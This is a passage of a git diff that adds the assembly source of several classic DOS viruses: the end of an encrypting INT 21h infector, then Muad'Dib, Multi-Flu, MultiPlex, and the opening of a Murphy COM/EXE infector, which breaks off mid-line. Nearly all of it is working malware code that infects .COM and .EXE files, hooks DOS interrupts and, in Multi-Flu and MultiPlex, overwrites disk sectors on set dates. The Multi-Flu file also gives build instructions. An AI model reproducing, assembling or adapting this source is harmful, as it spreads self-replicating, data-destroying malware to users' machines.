SI,(OFFSET BEGIN - OFFSET ONE) - 1 +ENCRIPTO: + XOR ES:[SI],DL + INC SI + LOOP ENCRIPTO + + MOV AH,40h + MOV CX,DELTA + XOR DX,DX + PUSH ES + POP DS + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + JC FINAL + + MOV AH,49h + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + + XOR AL,AL + CALL F_42h + + MOV AH,40h + MOV CX,3 + MOV DX,(OFFSET BUFFER - OFFSET ONE) + PUSH CS + POP DS + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + + MOV AX,5701h + MOV CX,CS:[(HORA - OFFSET ONE)] + AND CL,11100000b + OR CL,00001101b + MOV DX,CS:[(FECHA - OFFSET ONE)] + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] +FINAL: + MOV AH,3Eh + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + + MOV AX,4301h + MOV CX,CS:[(ATRIBUTOS - OFFSET ONE)] + POP DX + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + + MOV AX,2524h + MOV DX,CS:[INT24IP - OFFSET ONE] + MOV DS,CS:[INT24CS - OFFSET ONE] + PUSHF + CALL DWORD PTR CS:[INT21IP-OFFSET ONE] + +FIN: + POP ES + POP DS + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + + POPF + POP DS + JMP DWORD PTR CS:[(INT21IP - OFFSET ONE)] + +F_42h PROC + MOV AH,42h + CWD + MOV CX,DX + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + RET +F_42h ENDP + +HOOK_21 ENDP + +HOOK_24 PROC + XOR AL,AL + IRET +HOOK_24 ENDP + +INT21IP DW 0 +INT21CS DW 0 +INT24IP DW 0 +INT24CS DW 0 +INT17IP DW 0 +INT17CS DW 0 +ATRIBUTOS DW 0 +HORA DW 0 +FECHA DW 0 +BUFFER DB 3 DUP(0E9h) +NORMAL DB 3 DUP(90h) +HIDDEN_MSG DB "Ramthes. World Cup'98: ARGENTINA!!" +TWO LABEL BYTE +CODE ENDS + END START \ No newline at end of file diff --git a/m/MUAD'DIB.ASM b/m/MUAD'DIB.ASM new file mode 100755 index 0000000..35940d2 --- /dev/null +++ b/m/MUAD'DIB.ASM @@ -0,0 +1,213 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +; MUAD'DIB VIRUS ; +;****************************************************************************; + ideal + model tiny + codeseg + org 100h +top: db 'CP' + db 058h,04bh + jmp near main + nop + nop + nop + mov dx,offset _warn + mov ah,9 + int 21h + mov ax,04c00h + int 21h + +_warn db 'Deze file was besmet met het Muad''dib Virus$' + +main: push ax + push bx + push cx + push dx + push di + push si + push es + push ds + call dummy +dummy: pop bx + mov si,bx + add si,200h ; Address of data! + lea dx,[si+6] + mov ah,1ah + int 21h ; Set DTA + + mov dx,si + mov cl,0ffh + mov ah,04eh + int 21h ; Findfirst + jc noluck ; Nah, error +checkit:jmp is_ill +fnext: lea dx,[si + 6] + mov ah,04fh + int 21h + jc noluck + jmp checkit + + +noluck: + mov ax,[word si + 6 + 44] ; Current + mov [word cs:100h], ax + mov ax,[word si + 6 + 44 + 2] + mov [word cs:102h], ax + mov ax,[word si + 6 + 44 + 4] + mov [word cs:104h], ax + mov ax,[word si + 6 + 44 + 6] + mov [word cs:106h], ax + pop ds + pop es + pop si + pop di + pop dx + pop cx + pop bx + pop ax + mov ax,100h ; Goor! + push ax ; Maar 't werkt wel! + ret + +is_ill: + lea dx,[si + 36] ; Name of file +; mov ah,9 +; int 21h ; For information... + mov ah,03dh ; Fopen + mov al,2 ; RW-access + int 21h + jc fnext ; !?@!? Couldn't open + push ax + + pop bx ; Handle + push bx + mov ah,3fh ; Read + mov cx,8 ; 8 please + lea dx,[si + 6 + 44 + 8] ; Offset buffer (inf buf) + int 21h + + cmp [word si + 6 + 44 + 8], 05043h ; Zick yet? + je issick ; YEAH! + + pop bx + push bx + mov ax,04200h ; Moef vijlpointer + xor cx,cx + xor dx,dx ; 0L + int 21h ; Move filepointer + + mov ax,[si + 6 + 26] ; Fsize + sub ax,7 + mov [si + 6 + 44 + 8 + 8 + 5],ax ; Set jump (jumpbuf) + + pop bx ; Handle + push bx + mov ah,40h ; Write + mov cx,8 ; 8 please + lea dx,[si + 6 + 44 + 8 + 8] ; Offset buffer (jumpbuf) + int 21h + + pop bx ; Handle + push bx + mov ax,04202h ; Moef vijlpointer (einde) + xor cx,cx + xor dx,dx ; 0L + int 21h ; Move filepointer + + call swap + + pop bx ; Handle + push bx + mov ah,40h ; Write + mov cx,1000 ; ADJUST + lea dx,[si - 200h - 11] ; Offset buffer + int 21h ; Wreit + + call swap + +close: pop bx + mov ah,03eh + int 21h + jmp noluck ; Ready! + + +issick: pop bx + mov ah,03eh + int 21h + jmp fnext + +swap: + mov ax,[word si + 6 + 44] + xchg [word si + 6 + 44 + 8], ax + mov [word si + 6 + 44], ax + mov ax,[word si + 6 + 44 + 2] + xchg [word si + 6 + 44 + 8 + 2], ax + mov [word si + 6 + 44 + 2], ax + mov ax,[word si + 6 + 44 + 4] + xchg [word si + 6 + 44 + 8 + 4], ax + mov [word si + 6 + 44 + 4], ax + mov ax,[word si + 6 + 44 + 6] + xchg [word si + 6 + 44 + 8 + 6], ax + mov [word si + 6 + 44 + 6], ax + ret + + org dummy + 200h + db '*.COM',0 + db 44 dup ('D') + db 8 dup (090h) ; Current buffer + db 8 dup ('C') ; Inf buffer + db 043h,050h,058h,04bh,0e9h + db 0,0,0,'$' + end top + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/m/MULTIFLU.ASM b/m/MULTIFLU.ASM new file mode 100755 index 0000000..4609bd5 --- /dev/null +++ b/m/MULTIFLU.ASM @@ -0,0 +1,369 @@ +; Virusname: Multi-Flu +; Origin : Sweden +; Author : Metal Militia/Immortal Riot +; +; Multi-Flu's a resident infector of .COM files (w/the exception of +; COMMAND.COM when they're executed. If the date's the first of any +; month it'll overwrite 9999 sectors on the C: drive, thereby rendering +; it useless. After this it still goes resident though, just in case the +; user started the infected file from some other drive. +; +; To assembly this: Use Tasm Filename.asm +; Tlink Filename.obj +; Exe2bin Filename.exe Virus.com + +CODE SEGMENT + ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE + +SVIR EQU $ ; Start of FULL virus code + + +VLENGTH EQU EOV-SVIR ; Size of virus +GTHANG EQU 1994h ; Paragraphs from TOP O' MEM + ; to put us + +ENTRY: CALL GETDELTA ; Get the DELTA offset + NOP +GETDELTA: + POP BP + SUB BP,OFFSET(GETDELTA)-1 ; Calculate it + +START PROC NEAR + CALL ROCKME ; Find total number o' paragraphs + SUB AX,GTHANG ; Get segment of where our copy + JMP PUSH_ME ; might be + db "COPY ME, SO I CAN TRAVEL!!!!!" +PUSH_ME: + PUSH AX + POP ES + JMP PUSH_ME_AGAIN_CAUSE_I_SAY_SO + db "Why am i so fly? ;)" +PUSH_ME_AGAIN_CAUSE_I_SAY_SO: + CALL MOVE_DA_LIL_BABE + PUSH CS + POP ES ; Get ID thang from segment + ; (viral= + CALL FUNKY + +ALREADY_IN_DA_MEM_THANG: + CMP CX,CS:[BP+OFFSET(TAG)] ; Already in memory? + JZ ORGIT ; If so, RET(urn) to org. proggy + JMP INSTALL ; Else, install us.. + +ORGIT: LEA SI,[BP+OFFSET(FIRSTCODE)] + MOV CX,SMILELEN + + CALL FUNKY ; Lets 'FUNK' out :) + + MOV DI,100h ; di equal 100h (sov) + + REP MOVSB ; Copy org. bytes to da place + + CALL FUNKY ; Yet anotha FUNK calling + + MOV AX,100h ; AX = 100h + PUSH AX ; And push it.... + RET ; Return to org. dude + +MOVE_DA_LIL_BABE: + MOV CX,ES:TAG ; Is mah lil' grafitti tag here? + +FUNKY: RET ; RET to code caller + +INSTALL: + MOV AX,3521h ; Get vector (INT 21h) + INT 21h ; --------------^ + + CALL FUNKY + + MOV CS:[BP+OFFSET(OLD21A)],BX ; Save the old one + MOV CS:[BP+OFFSET(OLD21B)],ES ; here right now + + CALL FUNKY + CALL ROCKME ; See above in the code + + SUB AX,GTHANG ; How much to put MEMRES + PUSH AX ; Mhmmm.. + JMP PUSH_SOME_MORE_ONES + DB "Mmm.. Mmm.. Mmm.." + +PUSH_SOME_MORE_ONES: + PUSH AX + POP ES ; Segment (destination) + JMP PUSH_THANG + DB "For the smell of it!!!!!" +PUSH_THANG: + PUSH CS + POP DS ; Segment (source) + + CALL FUNKY + + MOV SI,BP ; Start of virus = DELTA thang + MOV DI,0 ; Sub di,di or Xor di,di + JMP VIR_LEN_ME_NOW + db "MULTIMULTIMULTIMULTI" +VIR_LEN_ME_NOW: + MOV CX,OFFSET VLENGTH ; Virus length + + REP MOVSB ; Move our lazy ass there + + POP DS + MOV DX,OFFSET(VECTOR) ; Now, offset *OUR* INT21 + + CALL FUNKY + + MOV AX,2521h ; Set vector (INT 21h) + INT 21h + + PUSH CS + POP ES + + CALL FUNKY + + PUSH CS + POP DS ; Segments (reset) + + MOV AH,2Ah ; Get date + INT 21h + + CMP DL,1 ; First of any month? + JNE PHUNKSTER ; If not, go on as normal + ; Else, NUKE!!!!! +FUCK_EM: + MOV AL,2 ; [C:] drive + MOV CX,270h ; 9999 sectors + CWD ; starting with the 'BOOT' + INT 26h ; Direct diskwrite + POPF +PHUNKSTER: + JMP ORGIT + +START ENDP + +ROCKME PROC NEAR + INT 12h ; Gimme total numba + jmp cx_me ; o' kilobytes mem + + db "MULTI-FLU v1.0" + +cx_me: + MOV CX,1024 ; one kilobyte equal 1024 bytes + jmp multi_kewl + + db "(c) 1994 Metal Militia" + +multi_kewl: + MUL CX ; a 'multiply' i guess + jmp seg_me + + db "Immortal Riot" + +seg_me: + MOV CX,16 ; Segment (16 bytes in each) + jmp div_kewl + + db "Sweden" + +div_kewl: + DIV CX ; Divide (AX & DX by CX) + + RET ; Back to code caller +ROCKME ENDP + +TSMILE EQU $ + +IRNOP: XCHG AX,AX ; Or.. shall we say, NOP!!!!! + DB 0BBh ; BX (MOV) +VMENOW DW 0 ; offset our code + PUSH BX ; push.... + RET ; and jump to it + +BSMILE EQU $ +SMILELEN EQU BSMILE-TSMILE ; Length of this "procedure" + +OLD21A DW 0 +OLD21B DW 0 ;Original INT 21h vector + +TEXTONE DB "M" + +BUFFA DW 0 ; Infectioncheck buffa + +TEXTTWO DB "U" + +EXEPHILEZ DB 'MZ' ; To see if the file's and .EXE + +TEXTTHREE DB "L" + +OTHEREXEZ DB 'ZM' ; See above + +COMMIECOM DB 0e9h, 0ddh ; Marker for COMMAND.COM in + ; MSDOS v6.x (perhaps others too) +TEXTFOUR DB "T" + +FIRSTCODE DB 0CDh + DB 20h ; Here we save the org. bytes + DB SMILELEN-2 DUP ('?') + +TEXTFIVE DB "i" + +OLDTIME DW 0 +OLDDATE DW 0 ;Old file time and date + +NOCHEINTEXT DB "FLU" + +FAKEIT PROC NEAR ; It's used to call org. INT 21h + PUSHF + CALL DWORD PTR CS:OLD21A ; Call the original + RET ; RET to code caller +FAKEIT ENDP + +VECTOR PROC NEAR ;INT 21h vector + NOP + + CMP AX,4B00h ; Exec 'em? + JE VTRIGGA ; If so, infect + + JMP DWORD PTR CS:OLD21A ; switch back to original INT21 +VTRIGGA: + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH ES + PUSH DS + PUSH BP ; Save all reg's + +INFECT: MOV AX,3D02h ; READ/WRITE (open file) + CALL FAKEIT + + XCHG BX,AX ; mov bx,ax + + MOV AX,5700h ; save the + CALL FAKEIT + + MOV CS:OLDTIME,CX ; original time + MOV CS:OLDDATE,DX ; and date here + JMP TIMER + + DB "All viruswriters worldwide" + +TIMER: + MOV CX,2 ; two bytes + JMP PUSH_IT_RIGHT_AT_THIS_MOMENT + + db "are to be gratulated!!!!!" + +PUSH_IT_RIGHT_AT_THIS_MOMENT: + PUSH CS + POP DS + JMP OPEN_DA_BUFFA_RIGHT_AWAY + + DB "FLUFLUFLUFLU" + +OPEN_DA_BUFFA_RIGHT_AWAY: + MOV DX,OFFSET BUFFA ; into this buffa + MOV AH,3Fh ; read 'em + CALL FAKEIT + JMP CHECK_IN_DA_BUFFA + + DB "Written during SUMMERTIME!!!!!" + +CHECK_IN_DA_BUFFA: + MOV DX,CS:BUFFA + CMP DX, WORD PTR [OFFSET IRNOP] ; Check if already infected + JE QUIT_IT ; if so, exit + CMP DX, WORD PTR [OFFSET EXEPHILEZ] ; Check if .EXE + JE QUIT_IT ; if so, exit + CMP DX, WORD PTR [OFFSET OTHEREXEZ] ; See above + JE QUIT_IT ; if so, exit + CMP DX, WORD PTR [OFFSET COMMIECOM] ; Check if COMMAND.COM + JNE KEEP_ON_SPREADING ; if not, infect the fucker +QUIT_IT: + JMP ENDINF ; Outa here (for now.. ) +KEEP_ON_SPREADING: + CALL SOF ; Goto start of file + + MOV CX,SMILELEN ; Offset the code we'll have first in + JMP UNIROCKER ; infected file, and jmp + db "Happy happy! Joy joy!" +UNIROCKER: + MOV DX,OFFSET(FIRSTCODE) ; Offset da buffa + + MOV AH,3Fh ; Read from it + CALL FAKEIT ; 'Fake' an INT 21h + + CALL EOF ; Goto end of file + + ADD AX,100h + JMP GO_FOR_IT + db "Winterkvist is" + +GO_FOR_IT: + MOV CS:VMENOW,AX ; Branch (set up code offset) + + MOV CX,VLENGTH ; Length of virus code + JMP WRITE_DA_VIRUS + db "a looser!!!!!" +WRITE_DA_VIRUS: + CWD ; Sub dx,dx or Xor dx,dx + + MOV AH,40h ; Write it + CALL FAKEIT + + CALL SOF ; FPOINTER thang + + MOV CX,SMILELEN ;Length of branch code + JMP WRITE_FIRST_BYTES + db "Greetings to the rest" +WRITE_FIRST_BYTES: + MOV DX,OFFSET(IRNOP) ;Write the branch code + + MOV AH,40h ;Write file or device + CALL FAKEIT + JMP ENDINF + db "of IMMORTAL RIOT" + +ENDINF: MOV CX,OLDTIME + MOV DX,OLDDATE + JMP ORG_TIME_BACK + DB "This is property of IR" + +ORG_TIME_BACK: + MOV AX,5701h ; restore original date/time + CALL FAKEIT + + MOV AH,3Eh ; close the file + CALL FAKEIT + +NO_FILE: + POP BP ; Pop all register (restore) + POP DS + POP ES + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + + JMP DWORD PTR CS:OLD21A ; Mission completed, back to old +EOF: + MOV AX,4202h ; Goto end of file + JMP XOR_EM +SOF: + MOV AX,4200h ; Goto start of file +XOR_EM: + SUB CX,CX + CWD + CALL FAKEIT + RET ; RET to code caller +VECTOR ENDP + +TAG DW 1234h ; Digi grafitti TAG for checking + ; if it's already in memory +EOV EQU $ ; Here the fun ends guys + +CODE ENDS + END diff --git a/m/MULTIPLX.ASM b/m/MULTIPLX.ASM new file mode 100755 index 0000000..c49c783 --- /dev/null +++ b/m/MULTIPLX.ASM @@ -0,0 +1,283 @@ +; Virusname: MultiPlex +; Alias(es): None +; Origin : Sweden +; Author : Metal Militia/Immortal Riot +; +; Thisone's a non-res/non-ow/non-encrypted infector of .COM files which +; travels thrue one directory on your harddrive each time an infected +; file's executed. +; +; I'ts damage routine will be activated if the date's equal to the fifth +; of any month. If so, it does an good 'ol 256 which does it's dirty +; work just as good as MULTI-FLU's 9999. +; + + code segment + assume cs:code,ds:code,es:code + + org 0100h + +start_o_virus: mov si,0 ; sub/xor si,si + jmp mejntwo ; jump there + db 'IR' + +lengthovir equ offset tag+5-offset mejntwo ; Length of virus + +mejntwo: call nextline ; prepear to put ax in si (no 'BP' here) +nextline: pop ax ; Pop 'em + sub ax,offset nextline ; and offset + call xchg_it ; Now, exchange +mejnthree: call restore_one ; Restore the + call restore_two ; first original bytes + +getdir: mov ah,47h ; Get (current) directory + mov dl,00h ; to restore it later + push si ; Now, push it + lea bx,(origindir+si) ; and offset the + mov si,bx ; place to save it in + int 21h + jc lexit ; If there's an error, exit + + pop si ; Pop it + mov byte ptr ds:[rock+si],00h ; and set 'rock' to zero + +setdta: mov ah,1ah ; Now, set the DTA (needed + lea dx,(buffa+si) ; to be able to execute + int 21h ; programs with 'choices') + +findfile: lea dx,(searchein+si) ; What files to search for + call find_first ; Find first '*.com' + jnc openup ; If no error, infect + + cmp al,12h ; Was there no files left? + jne lexit ; If not, outa here!!!!! + jmp next_dir ; Move to the next dir + +lexit: jmp exit ; long exit jumps to small + + +openup: mov ah,3dh ; Open the file + mov al,02h + lea dx,(buffa+1eh+si) + int 21h + jc lexit + mov ds:[handle+si],ax + +movepoint: mov ah,42h ; mov ax,4202h + mov al,02h ; (move to end of file) + call bx_ds ; handle stuff + mov cx,cxequals + mov dx,dxequals + int 21h + jc lclose ; was there an error? + jmp checkmark ; if not, continue + +lclose: jmp close ; long close to short close + +checkmark: mov ah,3fh ; read in the first + call bx_ds + call cx_em ; see if already infected + lea dx,(firsties+si) ; so we read in the first + int 21h ; bytes to our buffa + jc lclose + lea di,(tag+si) ; read in our tag + lea ax,(firsties+si) ; does it match? + call xchg_it + call cx_em +compare: cmpsb + jnz infect ; if so, then + loop compare ; just go ahead + call xchg_it ; to hunt down + jmp next_file ; the next file + + +infect: call xchg_it + mov ah,42h ; move to start of file + mov al,00h + call bx_ds + sub cx,cx ; mov cx,0 xor cx,cx + cwd ; xor dx,dx sub dx,dx + int 21h + jc lclose + mov ah,3fh ; this time, read in + call bx_ds + lea dx,(oldstart+si) ; (saving in 'oldstart') + call cx_four ; the first four bytes + int 21h + jc lclose + mov ah,42h ; now, move to end of file + mov al,02h + call bx_ds + sub cx,cx ; xor cx,cx etc. etc. + cwd ; xor dx,dx etc. etc. + int 21h + jc lclose + sub ax,3h + mov word ptr ds:[jump+1+si],ax + call write_us ; call to write our code + mov ah,42h ; move to start of file + mov al,00h + call bx_ds + sub cx,cx + cwd + int 21h + call write_em ; write to file + call bx_ds + call cx_three ; 3 bytes + lea dx,(jump+si) ; our own 'JMP' + int 21h + call change_dir ; change directory + lea dx,(rootoz+si) ; to root + int 21h + + + jmp close ; now, close the file + +next_dir: cmp ds:[diroz],15 ; are we thrue with atleast + je exit ; 15 directories yet? exit! + mov ah,1ah ; Set the DTA to our + lea dx,(buffatwo+si) ; second '60 dup (0)' buffa + int 21h + call change_dir ; Change directory + call root_dir ; to the root + cmp byte ptr ds:[rock+si],00h ; Is 'rock' still zero? + jne nextdir2 ; If not, get next 'DIR' + mov byte ptr ds:[rock+si],0ffh ; Now set the 'flag' + lea dx,(searchzwei+si) ; and start to look for + sub cx,cx ; dir's instead + mov bx,cx + mov cl,10h + call find_first ; find first of 'em + jc exit ; error? outa here! + jmp chdir ; otherwise, get that DIR + +nextdir2: call find_next ; find next DIR + jc exit ; error, none left? exit! + + inc ds:[diroz+si] ; increase the flag to + ; tell we've found a DIR. +chdir: call change_dir ; change to that DIR + lea dx,(buffatwo+1eh+si) ; we've just found + int 21h + jmp setdta ; now, set the DTA again + +close: call close_em ; close everything + +runold: mov ah,2ah ; date date + int 21h + cmp dl,5 ; fifth of any month? + jne mov_jmp ; if not, outa here + mov al,2 ; C: + mov cx,256 ; 256 + cwd ; starting w/the boot + int 26h ; direct diskwrite + jmp $ ; hang computer + +mov_jmp: + mov ax,0100h ; and run the org. proggy + jmp ax + +next_file: call close_em ; call to close the file + + call find_next ; call to find next file + jc next_dir ; if none found, change + ; directory + jmp openup ; else, open and infect + +exit: mov ah,3bh ;call change_dir + lea dx,(origindir+si) ; offset 'current' + int 21h + jmp runold ; and run the org. proggy + +oldstart: mov ah,4ch + int 21h + +jump db 0e9h,0,0 ; our 'jmp' +virusname db ' MULTiPLEX ' +rock db 00h +c_author db '(c) 1994 Metal Militia' +rootdiroz db '\',00h +grouporigin db 'Immortal Riot, Sweden' +searchzwei db '*. ',00h +greetings db 'Somewhere, somehow, always :)' +searchein db '*.com',00h + +write_us: call write_em ; write to file + call bx_ds + mov cx,lengthovir ; our viruscode + lea dx,(mejntwo+si) + int 21h + ret + +handle dw 0h + +close_em: mov ah,3eh ; close file + call bx_ds + int 21h + ret + +origindir db 64 dup (0) ; buffer where we save our original dir. + +change_dir: mov ah,3bh ; change dir + ret + +root_dir: lea dx,(rootdiroz+si) ; when changing to the 'root' + int 21h + ret + +find_first: + mov ah,4eh ; find first file + jmp int_em + +restore_two: + mov ds:[0100h],ax ; restore old first + mov ds:[0102h],cx ; 2/2 + ret +int_em: + int 21h + ret + +buffa db 60h dup (0) + +xchg_it: xchg si,ax + ret + +buffatwo db 60h dup (0) + +find_next: + mov ah,4fh ; find next file + jmp int_em + +firsties db 5 dup (?) ; Buffer for the first five org. bytes + +bx_ds: + mov bx,ds:[handle+si] + ret + +write_em: mov ah,40h ; Write to file + ret + +cx_em: mov cx,05h + ret + +diroz dw 0h + +cx_three: mov cx,3 + ret + +cx_four: mov cx,4 + ret + +restore_one: mov ax,word ptr ds:[oldstart+si] ; restore old first + mov cx,word ptr ds:[oldstart+si+2] ; 1/2 + ret + +tag db 'ImRio' ; My lil' DIGITAL GRAFITTI + +rootoz db '\' ; when changing to root + +cxequals equ 0ffffh +dxequals equ 0fffbh + +code ends + end start_o_virus diff --git a/m/MURPHEXE.ASM b/m/MURPHEXE.ASM new file mode 100755 index 0000000..4928f60 --- /dev/null +++ b/m/MURPHEXE.ASM @@ -0,0 +1,820 @@ +; +; dynamic self loader +; +; +; +; SYSTEM INFECTOR +; +; +; Version 4.00 - Copywrite (c) 1989 by L.Mateew & Jany Brankow +; +; All rights reserved. +; + + page ,132 + + title SYSTEM INFECTOR + +comp13 = offset kt1 - offset org13 +comp21 = offset kt1 - offset new21 +compbuff = offset kt1 - offset buffer +compbuff1 = offset kt1 - offset buffer1 +comp_code = offset kt1 - offset my_code +vir_length = offset endpr - offset entry_point +Cred = offset virus - offset credits + + +code segment ; - !!! + + assume cs:code ; CS + + org 100h ; + +entry_point: ; + jmp point1 ; + +buffer db 18h dup (0c3h) ; RET +buffer1 db 4 dup (0c3h) ; RET +my_code dw ? +time dw ? +date dw ? +old_len dd ? +new21 dd ? ; +old24 dd ? +org13 dd ? +old13 dd ? + + +; +; +; ! +; +; +credits: + db ' It''s me - Murphy. ' + db ' Copywrite (c)1990 by Lubo &' + db ' Ian, Sofia, USM Laboratory. ' + +virus proc near ; + call time_kill ; + cmp ax,4b00h+'M' ; EXEC ? + jnz @05 + push bp + mov bp,sp + and word ptr [bp+6],0fffeh + pop bp + iret +@05: + cmp ah,4bh ; EXEC ? + jz p0 + cmp ax,3d00h ; OPEN ? + jz p0 ; ! + cmp ax,6c00h ; DOS Fn 6C + jnz @04 ; + cmp bl,0 ; + jz p0 ; +@04: + jmp do_not_bite ; - +p0: ; + push es ; ES , + push ds ; DS , + push di ; DI , + push si ; SI , + push bp ; BP , + push dx ; DX , + push cx ; CX , + push bx ; BX , + push ax ; AX + call ints_on + call ints_off + cmp ax,6c00h ; OPEN + jnz kt6 ; + mov dx,si ; +kt6: + mov cx,80h ; + mov si,dx ; +while_null: ; + inc si ; + mov al,byte ptr ds:[si] ; + or al,al ; + loopne while_null ; ASCIIZ ? + sub si,02h ; 2 + cmp word ptr ds:[si],'MO' ; .COM - + jz @03 + cmp word ptr ds:[si],'EX' + jz @06 +go_away: + jmp @01 ; -> no_ill_it +@06: + cmp word ptr ds:[si-2],'E.' ; + jz go_forward ; + jmp short go_away +@03: + cmp word ptr ds:[si-2],'C.' ; ... + jnz go_away ; .COM +go_forward: ; + mov ax,3d02h ; 3d / / - 010b - + call int_21 ; AX CF = 0 + jc @01 ; + mov bx,ax ; BX + mov ax,5700h ; + call int_21 ; + mov cs:[time],cx ; + mov cs:[date],dx ; + mov ax,4200h ; 42 + xor cx,cx ; CX + xor dx,dx ; + call int_21 ; INT 21 + push cs ; + pop ds ; DS := CS + mov dx,offset buffer ; buffer + mov si,dx + mov cx,0018h ; + mov ah,3fh ; 3FH / / + call int_21 ; 8 buffer + jc close_file + cmp word ptr ds:[si],'ZM' + jnz @07 + call exe_file + jmp short close_file +@07: + call com_file +close_file: + jc skip_restore_date + mov ax,5701h + mov cx,cs:[time] + mov dx,cs:[date] + call int_21 +skip_restore_date: + mov ah,3eh ; 3E - + call int_21 ; INT 21 +@01: + call ints_off + pop ax ; AX , + pop bx ; BX , + pop cx ; CX , + pop dx ; DX , + pop bp ; BP , + pop si ; SI , + pop di ; DI , + pop ds ; DS , + pop es ; ES +do_not_bite: + jmp dword ptr cs:[new21] ; +virus endp + + +; +; +; Subroutine for .EXE file +; +; + +exe_file proc near + mov cx,word ptr ds:[si+16h] ; CS + add cx,word ptr ds:[si+08h] ; ( ) + mov ax,10h + mul cx ; 10h + add ax,word ptr ds:[si+14h] ; + adc dx,0 ; IP + push dx ; - + push ax + mov ax,4202h ; + xor cx,cx + xor dx,dx ; + call int_21 ; DX:AX + cmp dx,0 + jnz go_out ; + cmp ax,vir_length ; + jnb go_out ; - + pop ax ; Go out ! + pop dx + stc + ret +go_out: + mov di,ax ; AX DI + mov bp,dx ; DX BP + pop cx ; + sub ax,cx ; + pop cx ; + sbb dx,cx ; + cmp word ptr ds:[si+0ch],00h; + je exitp ; /HIGH + cmp dx,0 ; + jne ill_it ; + cmp ax,vir_length ; .. . . . + jne ill_it + stc + ret +ill_it: + mov dx,bp ; + mov ax,di ; + push dx ; push + push ax ; - + add ax,vir_length ; + adc dx,0 ; Murphy + mov cx,512 ; 512 + div cx + les di,dword ptr ds:[si+02h]; + mov word ptr cs:[old_len],di; + mov word ptr cs:[old_len+2],es; + mov word ptr ds:[si+02h],dx ; + cmp dx,0 + jz skip_increment + inc ax +skip_increment: + mov word ptr ds:[si+04h],ax ; + pop ax ; + pop dx ; + call div10h ; 10h AX:DX + sub ax,word ptr ds:[si+08h] ; + les di,dword ptr ds:[si+14h]; + mov word ptr ds:[buffer1],di; CS:IP + mov word ptr ds:[buffer1+02h],es ; + mov word ptr ds:[si+14h],dx ; IP + mov word ptr ds:[si+16h],ax ; CS + mov word ptr ds:[my_code],ax; CS + mov ax,4202h + xor cx,cx + xor dx,dx + call int_21 + call paste + jc exitp + mov ax,4200h + xor cx,cx + xor dx,dx + call int_21 + mov ah,40h + mov dx,si + mov cx,18h + call int_21 +exitp: + ret + +exe_file endp + + +; +; +; Subroutine for dividing +; +; +div10h proc near + mov cx,04h + mov di,ax + and di,000fh +dividing: + shr dx,1 + rcr ax,1 + loop dividing + mov dx,di + ret +div10h endp + + +; +; +; Subroutine for virus moving +; +; + +paste proc near + mov ah,40h ; 40h / / + mov cx,vir_length ; + mov dx,offset entry_point ; DS:DX + call ints_on ; (R/W) + jmp int_21 ; +paste endp + + +; +; +; Subroutine for .COM file +; +; + +com_file proc near + + mov ax,4202h ; 42 / /AL=2 - / + xor cx,cx ; + xor dx,dx ; CX DX / CX:DX = 0 , DX:AX / + call int_21 ; + cmp ax,vir_length ; + jb short no_ill_it ; + cmp ax,64000 ; < . + jnb short no_ill_it ; > 0ffff-. - 20h + push ax ; AX + cmp byte ptr ds:[si],0E9h ; JMP + jnz illing ; ? - ! . + sub ax,vir_length + 3 ; // + cmp ax,ds:[si+1] ; + jnz illing ; ? ... + pop ax ; + stc + ret +illing: + call paste + jnc skip_paste + pop ax + ret +skip_paste: + mov ax,4200h ; 42 + xor cx,cx ; CX + xor dx,dx ; + call int_21 ; + pop ax ; AX + sub ax,03h ; JMP- + mov dx,offset buffer1 ; DS:DX + mov si,dx + mov byte ptr cs:[si],0e9h ; 09H (JMP) + mov word ptr cs:[si+1],ax ; JMP- + mov ah,40h ; 40h / / + mov cx,3 ; 3 + call int_21 ; +no_ill_it: + ret + +com_file endp + + + +; +; +; Subroutine for calling of an 'int 21h' +; +; + +int_21 proc near + pushf + call dword ptr [new21] + ret +int_21 endp + +; +; +; This subroutine changes the int 24h vector to me +; +; +ints_on proc near + push ax + push ds + push es + xor ax,ax + push ax + pop ds + cli + les ax,dword ptr ds:[24h*4] + mov word ptr cs:[old24],ax + mov word ptr cs:[old24+2],es + mov ax,offset 